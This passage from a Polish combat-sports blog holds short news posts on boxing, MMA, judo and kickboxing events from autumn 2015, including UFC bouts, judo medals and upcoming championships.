Polka obserwowała już argentyńską bokserkę, jednak wcale nie jest przesądzone, że dojdzie do walki z Bustos. Brodnicka: – Wiem, że to doświadczona zawodniczka. Oglądałam jedną walkę, ale wiem, że promotor ma też w zasięgu inny pojedynek. Niedługo wszystko się wyjaśni.

Niewykluczone, że zawodniczka zdecyduje się na starcie, którego stawką będzie pas europejski. Bokserka z Warszawy czeka na swój dziesiąty pojedynek na zawodowym ringu. W tym roku Brodnicka stoczyła już trzy walki. Do tej pory Polka walczyła tylko na krajowych ringach. Promotorzy Brodnickiej głęboko wierzą w jej możliwości i szukają najlepszego rozwiązania. Czy obóz 31-letniej zawodniczki zdecyduje się na kolejny pojedynek w Polsce? Jaka będzie jego stawka? Tak jak mówi Brodnicka: niedługo wszystko się wyjaśni. Także czekamy.

KM

 

Posted in Bez kategorii

Kanadyjka na drodze Kowalkiewicz

19 grudnia Karolina Kowalkiewicz stoczy swoją pierwszą walkę w UFC. Zawodniczka z Łodzi podczas gali UFC on Fox 17 zmierzy się z Randą Markos.

Pod koniec września okazało się, że marzenia Kowalkiewicz ziszczą się. Negocjacje w sprawie angażu polskiej fighterki w UFC zakończyły się pomyślnie. Po cichu obserwatorzy zmagań w mieszanych sztukach walki zaczęli snuć plany rywalizacji Kowalkiewicz z mistrzynią amerykańskiej organizacji Joanną Jędrzejczyk.

Trzeba poczekać

Na pojedynek polsko-polski trzeba jeszcze poczekać. Najpierw Karolina Kowalkiewicz musi zapracować na zaufanie włodarzy UFC i udowodnić, że zasłużyła na szansę występów w amerykańskiej organizacji.

Pierwszy pojedynek stoczy już 19 grudnia. Po raz ostatni Kowalkiewicz szerszej publiczności zaprezentowała się w lutym podczas gali KSW 30, gdzie zmierzyła się z Kalindrą Farią. Trzy rundy były pełne emocji. Polka i Brazylijka nie szczędziły sobie ciosów, walka toczyła się w szybkim tempie, w efekcie czego w końcowych minutach zawodniczkom brakowało tchu. Sędziowie przyznali zwycięstwo Kowalkiewicz, która odniosła siódme zwycięstwo w karierze.

Czy ósmą wygraną zanotuje w pojedynku z Randą Markos? Dla 30-letniej Kanadyjki będzie to trzeci pojedynek w UFC. W obu przypadkach Markos rywalizowała na pełnym dystansie. W swoim debiucie przegrała jednak z Jessicą Penne, która nie tak dawno padło ofiarą Joanny Jędrzejczyk. Podczas kwietniowego występu Markos zmierzyła się z Aisling Daly. Kanadyjka była aktywniejsza i przekonała sędziów do swojej osoby. Teraz stanie na wprost Karoliny Kowalkiewicz, która tylko raz walczyła z zawodniczką spoza Polski. Polka nie była faworytką starcia z Mizuki Inoue na gali Invicta 9, jednak wykazała się walecznością i pokonała Japonkę.

Kowalkiewicz stoi przed wyzwaniem. Będzie walczyła dla najlepszej organizacji MMA na świecie. To inny świat i zdecydowanie większe wymagania. Kowalkiewicz to zawodniczka skupiona w pełni na swoim celu, spokojna i uśmiechnięta dziewczyna, która w momencie wkroczenia na arenę staje się uważna, precyzyjna i skuteczna. Polka nie unika walki. Podczas pierwszego występu w UFC będzie musiała poradzić sobie z presją debiutu, otoczenia oraz własnymi słabościami. Przygotowania mentalne odegra tu główną rolę.

Jędrzejczyk faworytką

Starcie dwóch Polek w UFC jest marzeniem. Karolina Kowalkiewicz w grudniu stoczy swoją pierwszą walkę dla amerykańskiej organizacji, a Joanną Jędrzejczyk 15 listopada podczas UFC 193 po raz drugi będzie broniła mistrzowskiego pasa w kategorii słomkowej.

Rywalką Polki będzie Valerie Letourneau. Bukmacherzy nie mają wątpliwości – faworytka jest tylko jedna. Jej kurs -2000 według Bovada to coś niesamowitego. Takiego kursu nie miała nawet Ronda Rousey. Jak widać akcje Jędrzejczyk stoją bardzo wysoko, szanse Letourneau są nikłe. Esparza i Penne zostały zmasakrowane, czy podobny los spotka Kanadyjkę?

 

KM

Posted in Bez kategorii

Zachwyty Conora

Conor McGregor potrafi zadbać o swój interes i zrobić sobie odpowiednią reklamę. Czołowy fighter wagi piórkowej troszczy się o wizerunek.

Już 12 grudnia Irlandczyk stanie do boju o pas mistrza UFC w wadze piórkowej. W Las Vegas zmierzy się z Jose Aldo. Pojedynek zapowiada się niezwykle ciekawie.

I tak jest najlepszy

Słuchając McGregora można dojść do wniosku, że świat kręci się wokół niego. Irlandczyk nie owija w bawełnę i na każdym kroku podkreśla swoją wielkość. W świecie MMA rządzi McGregor i nie ma rywala, który mógłby zagrozić jego panowaniu. Na jego drodze jest jeszcze tylko Jose Aldo, którego pokona i tym samym zostanie wielkim królem UFC.

Facet potrafi zrobić show i zwrócić na siebie uwagę. Po wygranej walce z Denisem Siverem na gali UFC Fight Night 59 McGregor wyskoczył z klatki, aby z bliska spojrzeć w oczy Jose Aldo. Brazylijczyk tylko się uśmiechnął, a wszyscy długo analizowali zachowanie Irlandczyka. Podczas jednej z konferencji promującej walkę McGregor zabrał mistrzowski pas zawodnikowi z Kraju Kawy. Między fighterami doszło do szarpaniny i musieli zostać rozdzieleni. Nie ulega wątpliwości, że Irlandczyk robi wszystko, aby się o nim mówiło. Konsekwentnie buduje zainteresowanie swoją osobą i jak na razie zyskuje na tym.

12 grudnia stanie do walki o pas z Jose Aldo. W opiniach wielu ekspertów zdecydowanym faworytem jest Brazylijczyk. Dla McGregora nie ma to znaczenia. On i tak wie, że jest najlepszy.

Pierwsza strona

27-latek w każdej sytuacji stara się budować swój kapitał. Podczas konferencji „Go Big” pokłócił się z innymi uczestnikami. Starał się wszystkim uzmysłowić swoją wielkość. Stał na stanowisku, że liczy są najlepszą definicją i podstawą sukcesu.

Wszystko wskazuje na to, że McGregor rozdaje karty w UFC. Oczywiście jest to zdanie irlandzkiego wojownika. – Wszystkie pasy w UFC nie mają żadnego znaczenia. Najważniejsze są liczby. Wszyscy, którzy byli na konferencji mieli pasy, Jose też, ale to nie ma żadnego znaczenia. Kluczem są liczby, a ja jestem ich władcą – wyjaśnia McGregor. I dodaje: – To moje nazwisko generuje i tworzy liczby. Wynik się nie liczy, to ja tworzę walki wieczoru. Liczby decydują o wydarzeniach i nadają tytuły, zaszczyty.

Po raz kolejny Irlandczyk dał dowód samouwielbienia, ale zarazem solidnej porcji marketingu w najlepszym wydaniu. Trudno nie przyznać mu rację. Po każdej walce mówi się o jego wyczynach i zachowaniach. Biznes musi się kręcić. McGregor jest potrzebny UFC i odwrotnie. Jak to wszystko będzie wyglądało po 12 grudnia? Prognozy dla McGregora nie są najlepsze. Większość stawia na Aldo.

KM

Posted in Bez kategorii

Srebrna Pogorzelec w mundurze

Trwają Światowe Wojskowe Igrzyska Sportowe w Mungyeong. Po srebrny medal sięgnęła Daria Pogorzelec w kategorii 78kg w judo. Dobre występy zanotowały również Arleta Podolak (57kg) oraz Karolina Tałach (70kg), które zajęły trzecie miejsca.

Start w Mungyeong obfituje w medale polskich judoczek. Naszym zawodniczkom nie udało się zdobyć tylko złota. W sobotę w rywalizacji drużynowej Polki w składzie: Kinga Kubicka, Halima Mohamed-Seghir, Agata Ozdoba, Daria Pogorzelec i Karolina Tałach, sięgnęły po srebrny medal.

Słowenka zabrała złoto

Daria Pogorzelec w tym roku prezentuje równą formę. Na Igrzyskach Europejskich w Baku zaliczyła najlepszy występ spośród wszystkich naszych judoków, jednak znalazła się poza podium. Pogorzelec wywalczyła piątą pozycję. Podczas mistrzostw świata w Astanie Polka indywidualnie nie sięgnęła po medal, ale udało jej się zdobyć srebro w drużynie.

W Mungyeong odniosła podwójny sukces. Najpierw wywalczyła srebrny medal w starcie drużynowym, a w kolejnym występie dotarła do finału, jednak musiała zadowolić się drugim miejscem. Pogorzelec wygrała dwa pojedynki, które pozwoliły jej znaleźć się w strefie medalowej. Natalia Kazancewa również nie znalazła sposobu na judoczkę z Gdańska i było pewne, że Polka zdobędzie srebro. Apetyt rósł w miarę jedzenia. Pogorzelec w Korei prezentuje się wyśmienicie, jednak w finale doznała porażki. Jej pogromczynią okazała się Anamari Velensek. Słowenka już kilkukrotnie pokazała się z dobrej strony na światowych arenach. W 2014 roku w Czelabińsku sięgnęła po brązowy medal mistrzostw świata, a rok wcześniej była drugą judoczką Europy.

Gdyby nie Rosjanki

Reprezentantki Rosji stanęły na drodze Arlety Podolak i Karoliny Tałach do finałów w ich kategoriach wagowych. Mistrzyni świata juniorek z 2013 roku udział w turnieju w Mungyeong rozpoczęła od pojedynku z Thuy Nguyen. Polka okazała się lepsza od judoczki z Wietmanu i to był początek udanej rywalizacji Podolak z zawodniczkami z kontynentu azjatyckiego. W ćwierćfinale nasza zawodnika pokonała Chinkę Hui Wang. Marsz Podolak zaburzyła Tatiana Kazeniuk. Porażka sprawiła, że Polce pozostał udział w finale pocieszenia. Tam po raz kolejny trafiła na zawodniczkę z Azji. Liru Huang z Chin padła kolejną ofiarą polskiej judoczki. Walka była wyrównana, a o zwycięstwie Podolak zadecydowała jedna kara shido przyznana jej rywalce.

Z kolei Karolina Tałach w półfinale kategorii 70 kg uległa Alenie Prokienko. W decydującym o medalu pojedynku Polka okazała się lepsza od zawodniczki z Luksembruga Lynn Mossong.

Wkład naszych judoków w zdobycz medalową jest znaczny. Łącznie reprezentanci Polski zdobyli w Mungyeong jedenaście medali. Cztery z nich to dzieło naszych judoczek. Rywalizacja w Światowych Wojskowych Igrzyskach Sportowych potrwa do 11 października.

KM

Posted in Bez kategorii

Canelo zastąpi Mayweathera?

Chciałoby się powiedzieć, że król jest tylko jeden, ale ten zakończył karierę. Kto tak naprawdę przejmie schedę i zastąpi Floyda Mayweathera Jr.?

Czterdzieści dziewięć wygranych walk. Król ringów, mistrz defensywy, wielki showman oraz biznesmen. Tak w skrócie można opisać Floyda Mayweathera Jr. Po drodze pokonał wielu klasowych przeciwników. W tym gronie znalazł się Saul „Canelo” Alvarez.

Pokonać Cotto

Ma dopiero dwadzieścia pięć lat, a na swoim koncie bogate doświadczenie ringowe. „Canelo” stoczył już czterdzieści siedem pojedynków, z czego tylko jeden zakończył się jego porażką. Lepszy od Meksykanina okazał się Mayweather.

Alvarez ma potężny cios, którym potrafi porazić. Przekonał się o tym James Kirkland w maju, kiedy to „Canelo” już w trzeciej rundzie zakończył pojedynek. Z pozoru spokojny i ułożony pięściarz, ale w ringu zmienia się nie do poznania. Meksykanin potrafi doskonale wyczuć moment słabości rywala. Z Mayweatherem przegrał, gdyż ten górował nad nim doświadczeniem i sprytem. Od porażki z „Moneyem” Alvarez stoczył trzy pojedynki. Teraz przygotowuje się do najważniejszego, który może być punktem zwrotnym w jego karierze.

Można powiedzieć, że pierwszy sprawdzian mu nie wyszedł i teraz dostaje drugą szansę. Miguel Cotto to czołowa postać wagi średniej. Doświadczony pięściarz sięgał po mistrzowskie pasy w kategoriach: lekkośredniej, półśredniej i junior półśredniej. W ostatniej walce zmasakrował Daniela Geale'a. Cotto to interesujące walki i wielkie umiejętności. Tak naprawdę Portorykańczyk może, bo swoje już w boksie zrobił, a Alvarez powinien. W zasadzie to musi, jeśli chce dalej rozwijać się i wejść na szczyt.

Będzie wielką gwiazdą?

Pokonanie Cotto może być punktem zwrotnym w karierze „Canelo”. Legendarny mistrz wagi średniej oraz półciężkiej Bernard Hopkins widzi Meksykanina jako jednego z następców Mayweathera Jr. – Floyd zakończył karierę, ale w obiegu są interesujący pięściarze. Alvarez jest w tym gronie i może wywalczyć sobie pozycję wielkiej gwiazdy. Jeszcze nie jest gwiazdą, ale pracuje, żeby tak było. Wydaje się, że Alvarez może zająć miejsce Mayweathera – mówi Hopkins.

Teraz Meksykanin przygotowuje się do pojedynku z mistrzem świata WBC wagi średniej. 21 listopada w Mandalay Bay Events Center w Las Vegas wejdzie do ringu, aby pokazać, że dojrzał i jest w stanie wygrywać z najlepszymi. Cotto nie należy do łatwych rywali. Portorykańczyk na zawodowym ringu poniósł cztery porażki. Jego pogromcami byli Floyd Mayweather Jr, Manny Pacquiao, Antonio Margarito oraz Austin Trout. Czy do tego grona dołączy Alvarez?

Promocja walki trwa w najlepsze. Ostatnio Cotto był obecny na baseballowym meczu Los Angeles Dodgers z San Diego Padres. Bokser rzucił pierwszą piłkę.

KM

Posted in Bez kategorii

Zabrakło złota w Tampere

Jedni startowali w Grand Prix w Taszkiencie, a inni w Pucharze Europy w Tampere. W Finlandii polscy judocy wywalczyli dwa medale.

Do pełni szczęścia zabrakło tylko złota. W obu przypadkach. Z tym, że w Taszkiencie Polacy zdobyli tylko brąz, a w Tampere dorzucili jeszcze srebro.

Brązowa Miller

Magdalena Miller z AZS AWFiS Gdańsk w rywalizacji juniorskiej triumfowała w Pucharze Europy w Kijowie. Było to trzy lata temu. Teraz 21-letnia judoczka stawia kolejne kroki na drodze swojej kariery i stara się o jak najlepsze występy. W tym roku Miller triumfowała w mistrzostwach Polski młodzieży w Kątach Wrocławskich, gdzie startowała w kategorii 63kg.

Dobre występy na krajowym podwórku Miller stara się również przełożyć na rywalizację na poziomie europejskim. Doskonałym potwierdzeniem jej rozwoju oraz zyskiwania doświadczenia jest start z Tampere. Polka była na dobrej drodze, aby wejść do finału kategorii 57kg, jednak ostatnią przeszkodą na jej szlaku była Anni Ikala. Zawodniczka gospodarzy okazała się trudną przeciwniczką. Rywalizacja z Ikalą wymagała od Miller wiele wysiłku, jednak to przeciwniczka Polki okazała się lepsza i wygrała przed czasem. Zawodniczka z Gdańska musiała zadowolić się finałem pocieszenia. Ikala triumfowała w zawodach Pucharu Europy. Miller do rywalizacji o brąz stanęła z Ouardą Ait Mahrez. Pojedynek wyrównany, w którym wygrać mogła każda z zawodniczek. Francuzka była nieustępliwa, ale szczęście uśmiechnęło się do Polki. Miller wygrało przez yuko. Na koncie Polki zapisano dwie takie akcje, a u Mahrez jedną.

Aleksandra Jabłońska w tym roku pauzowała z powodu kontuzji, jednak udało jej się wrócić do zdrowia i podjąć rywalizację na tatami. Z powodu urazu nie wystartowała na mistrzostwach młodzieży w Kątach Wrocławskich, jednak reprezentująca barwy AZS AWFiS Gdańsk judoczka ma w swoim dorobku medale zdobywane na mistrzostwach kraju seniorek. Jabłońska, która rywalizuje w kategorii wagowej 70kg, wzięła udział w Pucharze Europy w Tampere i stoczyła tam trzy walki. Dwa wygrane pojedynki pozwoliły jej na awans do finału. Decydujące starcie to pojedynek polsko-litewski. Zawsze duże emocje wzbudzają walki naszych zawodników z zawodnikami z Niemiec oraz Rosji. Jednak w przypadku Litwinów podobne odczucia rodzą się w związku z rywalizacją z polskimi sportowcami. Wszystko to wiąże się z zaszłościami historycznymi. W przypadku rywalizacji judoczek w Tampere triumfowała Renalda Gedutyte. Jabłońska musiała zadowolić się srebrnym medalem.

Kartka z kalendarza

Tampere jest szczęśliwe dla polskich judoków. W 2013 roku podczas Pucharu Europy rozgrywanego w Finlandii najlepsza okazała się Daria Pogorzelec w kategorii 78kg oraz Grzegorz Lewiński w 66kg.

Na tym nie koniec osiągnięć Polaków. W 2013 po srebro sięgnął Tomasz Szczepaniak (81kg), a brązowe medale zawisły na szyjach Arlety Podolak (57kg), Barbary Jopek (48kg), Karoliny Tałach (70kg) i Jakuba Zarzecznego (90kg).

KM

Posted in Bez kategorii

Cormier obronił pas

Daniel Cormier obronił mistrzowski pas UFC w wadze półciężkiej. Pojedynek z Alexandrem Gustafssonem dostarczył wielu emocji.

Szwed zbudował sobie pozycję w amerykańskiej organizacji, jednak jego ostatnie występy nie były owocne. Cormier do tej pory przegrał tylko raz w swojej karierze. Po tym pojedynku spodziewano się wiele.

Emocji nie brakowało

Podczas gali UFC 192 doszło do długo wyczekiwanego starcia. Patrząc na ostatnie pojedynki Gustafssona widać, że nie potrafił poradzić sobie z czołowymi postaciami amerykańskiej organizacji. We wrześniu 2013 roku przegrał przez decyzję z Jonem Jonesem, ale później jego ofiarą padł Jimi Manuwa, czyli zawodnik, który prochu raczej już nie wymyśli. Pierwszym rywalem Szweda w 2015 roku był Anthony Johnson. Amerykanin to czołowa postać wagi półciężkiej i szybko to potwierdził. Gustafsson już po dwóch minutach był niezdolny to walki. Warto dodać, że Szwed w UFC zanotował siedem zwycięskich walk, w których prezentował się efektownie. Swego czasu wystąpił na KSW, gdzie wygrał z Krzysztofem Kułakiem. Z kolei Cormier poniósł tylko jedną porażkę w UFC. Pokonał go Jon Jones, którego kariera ze względu na wybryki utknęła w martwym punkcie.

W Teksasie doszło do ciekawego i wyczerpującego pojedynku. Zawodnicy dali z siebie wszystko. Pierwsza runda zdecydowanie dla Cormiera, który wyniósł rywala i rzucił go z impetem na ziemię. Tam wszystko było w jego rękach i podkreślił swoją przewagę w parterze. Gustafsson pokazał charakter w kolejnej odsłonie. Dobrze radził sobie w dystansie i słał w stronę mistrza kolejne ciosy. Efektowne kolano doszło do celu i Cormier znalazł się na deskach. W kolejnych rundach zarysowywała się lekka przewaga czempiona, choć trudno jednoznacznie powiedzieć, że Szwed był słabszy. Po prostu Cormier był aktywniejszy, co przeważyło o jego zwycięstwie. Warto podkreślić, że walka była wyrównana. Widoczne jest to w ocenach sędziów, którzy niejedno głośnie wskazali na Cormiera: 47:48, 48:47 i 49:46.

Pena górą

Julianna Pena już myśli o walce z Rondą Rousey. W Teksasie z pewnością zrobiła kroku ku rywalizacji z mistrzynią. Pena jednogłośnie na punkty pokonała Jessicę Eye. Rashad Evans nie miał pomysłu na rywalizację z Ryan’em Baderem. Fighter z Arizony punktował swojego przeciwnika lewym prostym i często decydował się na klincze. Bader był aktywniejszy, co zaowocowało wygraną.

Adriano Martins efektownie znokautował swojego rywala. Już w pierwszej rundzie prawy sierpowy powalił Islama Makhacheva.

Wyniki gali UFC 192:

Pojedynek o pas wagi półciężkiej: 205 lbs: Daniel Cormier pokonał Alexandra Gustafssona przez niejednogłośną decyzję
205 lbs: Ryan Bader pokonał Rashada Evansa przez przez jednogłośną decyzję
265 lbs: Ruslan Magomedov pokonał Shawna Jordana przez przez jednogłośną decyzję
125 lbs: Joseph Benavidez pokonał Aliego Bagautinova przez jednogłośną decyzję
135 lbs: Julianna Pena pokonała Jessica Eye przez jednogłośną decyzję

145 lbs: Yair Rodriguez pokonał Daniela Hookera przez jednogłośną decyzję
170 lbs: Albert Tumenov pokonał Alana Joubana przez TKO
155 lbs: Adriano Martins pokonał Islama Makhacheva przez KO
115 lbs: Rose Namajunas pokonał Angelę Hill przez techniczne poddanie

155 lbs: Sage Northcutt pokonał Francisco Trevino przez TKO w
125 lbs: Sergio Pettis pokonał Chrisa Cariaso przez jednogłośną decyzję
265 lbs: Derrick Lewis pokonał Viktora Pestę przez TKO (ciosy)

KM

Posted in Bez kategorii

Broner razy cztery, Postoł mistrzem

Adrien Broner wygrał po raz kolejny i stał się mistrzem w czwartej kategorii wagowej. Nowy rozdział historii w swojej karierze rozpoczął Wiktor Postoł.

Dwaj pięściarze i dwie różne osobowości. Broner już jest na szczycie i nie przestaje zachwycać. Postoł jeszcze nigdy nie przegrał, a teraz na swoim koncie zapisał tytuł mistrza świata WBC kategorii super lekkiej.

Szczyt Bronera

26-latek prezentuje wysoki poziom boksu i niezwykłą uniwersalność. Amerykanin jest przykładem pięściarza, który nie ma problemów ze zmianą kategorii wagowej. Do tej pory Broner był czempionem WBC w kategorii lekkiej, WBO w super piórkowej i WBA w półśredniej.

Okazuje się, że Amerykanin nie ma dość tytułów i zamierza ciągle rozwijać się, a co za tym idzie powiększać swój dorobek. Podczas gali w U.S. Bank Arena w Cincinnati Broner zdobył kolejny tytuł. Tym razem Amerykanin rywalizował o wakujący pas mistrza świata WBA w kategorii junior półśredniej. Ofiarą Bronera padł Khabib Allakhverdiev. Na początku pojedynku Rosjanin starał się narzucić swoje warunki, jednak Amerykanin stoczył już wiele walk i zebrał doświadczenia niezbędne w rywalizacji na tym poziomie. Broner skutecznie się bronił, nie dał sobie zrobić krzywdy, a gdy nadszedł odpowiedni moment –zaatakował. 26-latek punktował swojego rywala prawym podbródkowym. W dwunastej rundzie Broner posłał w stronę Allakhverdieva serię ciosów. Rosjanin był zamroczony i nie odpowiadał, więc sędzia przerwał pojedynek.

Broner odniósł trzydzieste pierwsze zwycięstwo na zawodowym ringu i zasilił swoje konto kwotą miliona dolarów.

Nokaut wart mistrzostwo

W Carson doszło do pojedynku Wiktora Postoła i Lucasa Matthysse. Stawką walki był wakujący tytuł mistrzowski WBC w kategorii super lekkiej.

33-letni Argentyńczyk w swojej karierze przegrał trzy razy. Jednym z jego pogromców był Danny Garcia, ale nawet on nie znalazł sposobu na znokautowanie boksera z Ameryki Południowej. Z kolei Postoł na zawodowym ringu nie zaznał nigdy porażki. Rywalizacja argentyńsko-ukraińska zapowiadała się bardzo ciekawie.

Obaj pięściarze byli nastawieni na atak. Każdy z nich chciał zdobyć mistrzowski pas, jednak lepszą kondycję i więcej sił zachował Ukrainiec. Postoł był bardziej wytrzymały, a jego ruchliwość stała się głównym atutem, który wprawił Matthysse w zakłopotanie. Argentyńczyk wraz z upływającym czasem robił się coraz bardziej nerwowy. Matthysse zaatakował 31-letniego Ukraińca, a ten tylko czekał aż przeciwnik odsłoni się. Po jednym z ciosów w dziesiątej rundzie Argentyńczyk przyklęknął w narożniku i był liczony. Sędzia uznał, że 33-latek nie jest w stanie kontynuować walki.

Postoł osiągnął coś, czego nikomu wcześniej się nie udało. Znokautował twardego Argentyńczyka, a na dokładkę zdobył pas mistrzowski, który jest potwierdzeniem jego możliwości. Matthysse przegrał po raz czwarty.

Fot. ringtv.craveonline.com

KM 

Posted in Bez kategorii

Srebrna na świecie, brązowa w Taszkiencie

Czy drużynowy sukces podczas mistrzostw świata w Astanie pozytywnie podziałał na Katarzynę Kłys? Wszystko na to wskazuje. Judoczka Polonii Rybnik podczas zawodów Grand Prix w Taszkiencie sięgnęła po brązowy medal w kategorii wagowej 70kg.

Przypomnijmy. Podczas mistrzostw świata w Astanie żeńska reprezentacja kobiet z Katarzyną Kłys w składzie wywalczyła srebrny medal. W finale Polki uległy Japokom. Wcześniej forma zawodniczki Polonii Rybnik była nierówna.

Dobry prognostyk

Kłys jest jedną z judoczek, która uznawana jest za nadzieję na medal podczas przyszłorocznych Igrzysk Olimpijskich w Rio de Janeiro. W 2014 roku forma walczącej kategorii 70kg zawodniczki eksplodowała. Kłys notowała bardzo dobre występy w międzynarodowych startach, a podczas mistrzostw świata w Czelabińsku sięgnęła po brązowy medal. Ten sezon w wykonaniu judoczki Polonii Rybnik jest umiarkowany. Indywidualnie podczas Igrzysk Europejskich i mistrzostw świata Kłys nie zachwyciła. Pozytywnym akcentem był za to srebrny medal naszej żeńskiej drużyny.

Czy ta zdobycz może okazać się motorem napędowym? Być może pozwoli Kłys, w której drzemią możliwości,  uwierzyć w siebie i przełamać pewną barierę, co umożliwi jej równorzędną rywalizację z najlepszymi , uwieńczoną sukcesami. Występ w Taszkiencie napawa optymizmem. Polka uporała się z Megan Fletcher jedną karą shido, a następnie trafiła na Giulię Cantoni. Włoszka została pozbawiona złudzeń, Kłys wygrała przez ippon. Polka w półfinale trafiła na Kim Seongyeon z Korei Południowej. Walka zacięta, ale bez jednoznacznego rozstrzygnięcia. Można powiedzieć, że Kłys miała pecha, gdyż przegrała jedną karą shido. Polce pozostała walka o brązowy medal, gdzie czekała na nią inna Koreanka, jednak tym razem nasza zawodniczka okazała się lepsza. Hwang Ye-Sul przegrała przez yuko.

Punkty Ciechomskiego i Sarnackiego

Ważne jest zdobywanie punktów w kolejnych startach ze względu na klasyfikację olimpijską. Na tę chwilę występu w Rio de Janeiro może być Maciej Sarnacki w kategorii +100kg.

Polak przeszedł przez eliminacje, jednak w ćwierćfinale poniósł porażkę. Sarnacki trafił do repasaży, które dawały nadzieję na uzyskanie prawa do rywalizacji o brązowy medal. Polak nie miał szczęścia. Kirgiz Krakowiecki okazał się lepszy od Sarnackiego i wygrał przez ippon. Nasz zawodnik został sklasyfikowany na siódmym miejscu.

Patryk Ciechomski w kategorii 90kg rozpoczął start w Taszkiencie udanie. Dwie wygrane napawały optymizmem, jednak ćwierćfinałowa porażka sprawiła, że nadzieję na medal zmalały. Dodatkowo w repasażach Polak znalazł kolejnego pogromcę. Judoka AZS AWF Katowice przegrał dwoma karami shido z Mihaelem Zgankiem. Ostatecznie zajął siódmą pozycję.

W Taszkiencie zaprezentowała się również Katarzyna Furmanek w +78kg. Polka odpadła w 1/8finału. Lepsza od Furmanek okazała się Ksenia Czibisowa – yuko. Z kolei Jakub Kubieniec w 81kg odpadł już w pierwszej walce.

KM

Posted in Bez kategorii

Polaków nie zabraknie w Estonii

Zbliża się kolejna gala King of Kings World Grand Prix, która tym razem odbędzie się w Tallinie. W stolicy Estonii zaprezentują się Judyta Niepogoda, Piotr Woźnicki oraz Krzysztof Olszewski.

Gala odbędzie się 17 października w Saku Suurhall, gdzie może pomieścić się dziesięć tysięcy widzów. Głównym wydarzeniem będą ćwierćfinałowe walki turnieju do 77kg. W jednej z nich zobaczymy Polaka.

Jeden z ośmiu

Piotr Woźnicki znalazł się w zacnym gronie. Polski kickboxer jest jednym z ośmiu zawodników, którzy powalczą o triumf w WGP. Wygrana zagwarantuje mu awans do półfinału, który odbędzie się w grudniu.

Ostatni raz „Woźny” zaprezentował się na gali King of Kings World Grand Prix w Rydze, gdzie był uczestnikiem czteroosobowego turnieju w wadze 77kg. Wtedy przegrał na punkty z Sergeiem Morari, który triumfował w całej imprezie. W Tallinie Polakowi przyjdzie się zmierzyć z Michelem Landvreugdem. 23-letni Holender jest mocny, o czym świadczy fakt, że mimo młodego wieku aż siedem z ośmiu wygranych walk zakończył przed czasem. Woźnicki musi być uważny i skupiony, aby zneutralizować atuty Landvreugdema.

W pozostałych pojedynkach zaprezentują się: Ferhat Gumrukcuoglu z Turcji, który stanie przed trudnym wyzwaniem jakim jest walka z Sergiem Morari. Fereirra Rodrigo postara się pokonać Alekseia Liubchenko, a niesiony dopingiem trybun Roman Zobim zmierzy się z Paolo Fiorim.

Test Niepogody

Judyta Niepogoda stoczy swoją drugą walkę w karierze. Polka zdobywa doświadczenie i zapoznaje się ze światem wielkich gal. W Tallinie zmierzy się z rywalką, która również stoczy drugi pojedynek. Debiuty obie panie miały udane, a więc po pojedynku któraś z nich będzie musiała zapisać na swoim koncie porażkę. Andra Aho z Estonii, tak jak i Niepogoda, specjalizuje się w muay thai.

Doświadczony jest za to Krzysztof Olszewski, ale tym razem ten element może nie odegrać głównej roli. Dlaczego? Polak stanie w Tallinie do rywalizacji z bardzo mocnym fighterem. Markko Moistar to zawodnik niezwykle efektowny. Jego walki przyciągają uwagę ze względu na dynamikę i różnorodność ciosów. Podczas gali w Rydze jego walka została wyróżniona mianem pojedynku wieczoru. Z kolei Olszewski to fighter niezwykle dokładny, precyzyjny, który walczy technicznie. Na placu boju spotkają się zatem dwie odmienne osobowości. Wydaje się, że Olszewski stanie przed najtrudniejszym wyzwaniem w swojej karierze.

W Tallinie zaprezentuje się również Maxim Vorovski, który w kategorii 85kg z Igorem Lyapinem. Reprezentant Estonii w maju podczas gali Xplosion Fight Series pokonał Dawida Kasperskiego.

Łącznie podczas gali odbędzie się dwanaście pojedynków, w tym trzy z udziałem Polaków. Gale King of Kings przybierają coraz większe rozmiary, a swoje miejsce mają w nich biało-czerwoni, a to miły i ważny akcent.

KM

Posted in Bez kategorii

Mistrzostwa coraz bliżej

Już 6 października rozpoczynają się mistrzostwa świata w boksie, które odbędą się w Dausze. Dobry występ może być przepustką na przyszłoroczne Igrzyska Olimpijskie w Rio de Janeiro.

Do Kataru wybiera się trzech naszych bokserów. Swoich sił w czempionacie spróbują: Dawid Jagodziński (49 kg), Tomasz Jabłoński (75 kg) i Igor Jakubowski (91 kg).

Wyzwanie

Ten rok jest dobry w wykonaniu naszych bokserów. Z Igrzysk Europejskich w Baku brązowy medal w kategorii wagowej 60kg przywiózł Mateusz Polski. Również podczas mistrzostw Europy w Samokowie biało-czerwoni pokazali się z dobrej strony. Dzięki sukcesom w Bułgarii nasi pięściarze mogą wystąpić na mistrzostwach świata. Jabłoński i Jakubowski sięgnęli po srebrne medale na europejskim czempionacie, z kolei Jagodzińskiemu dopisało szczęście. Polak miał dobre losowanie, które pozwoliło mu rozpocząć udział w turnieju dopiero na etapie ćwierćfinału. Pojedynek przegrał, ale Harvey Horn dotarł do finału i Jagodziński może wziąć udział w mistrzostwach świata.

Dla naszych pięściarzy start w Dausze to ogromna szansa. Zwycięstwo gwarantuje start podczas igrzysk w Rio de Janeiro. Z tym, że wszystko się komplikuje. Jakubowski musiałby zostać mistrzem świata, żeby w Katarze zakwalifikować się na przyszłoroczne igrzyska. Z kolei Jabłoński może zająć trzecią pozycję w Dausze i również pojedzie do Rio.

Cel jest jeden: wygrywać. Z tym, że mistrzostwa świata w Katarze to wysokie wymagania. Poziom rośnie i nasi zawodnicy muszą wspiąć się na wyżyny, aby odnieść sukces. Polski boks od czasu do czasu daje o sobie znać. Każdy medal tak naprawdę jest na wagę złota. W Dausze Polska będzie miała tak naprawdę trzy szanse na triumf. Jakie nasi bokserzy mają doświadczenie na tym poziomie?

Jagodziński po raz pierwszy

Bokser rywalizujący w kategorii 49kg może czuć tremę. Dla Jagodzińskiego będzie to pierwszy start na imprezie tej rangi. W Samokowie dopisało mu szczęście, jeśli w Katarze dołoży do tego upór i uda mu się dyktować warunki w ringu to być może osiągnie dobry wynik.

Z kolei Jabłoński i Jakubowski po raz drugi zaprezentują się na światowym czempionacie. Obaj startowali już cztery lata temu w Baku, jednak bez sukcesów. Udało im się wygrać tylko po jednej walce. Czy w Dausze poprawią ten wynik?

W tym roku pokazali, że drzemią w nich możliwości. Mają okazję powalczyć o start w igrzyskach i medal dla Polski. Ostatnim pięściarzem, który stanął na podium mistrzostw świata był Aleksy Kuziemski. Bokser kategorii półciężkiej wywalczył brązowy medal, a było to już dwanaście lat temu.

Zmagania w Katarze rozpoczną się 6 października i potrwają do 15 października. 

KM

Posted in Bez kategorii

Khashbaatar kończy z judo

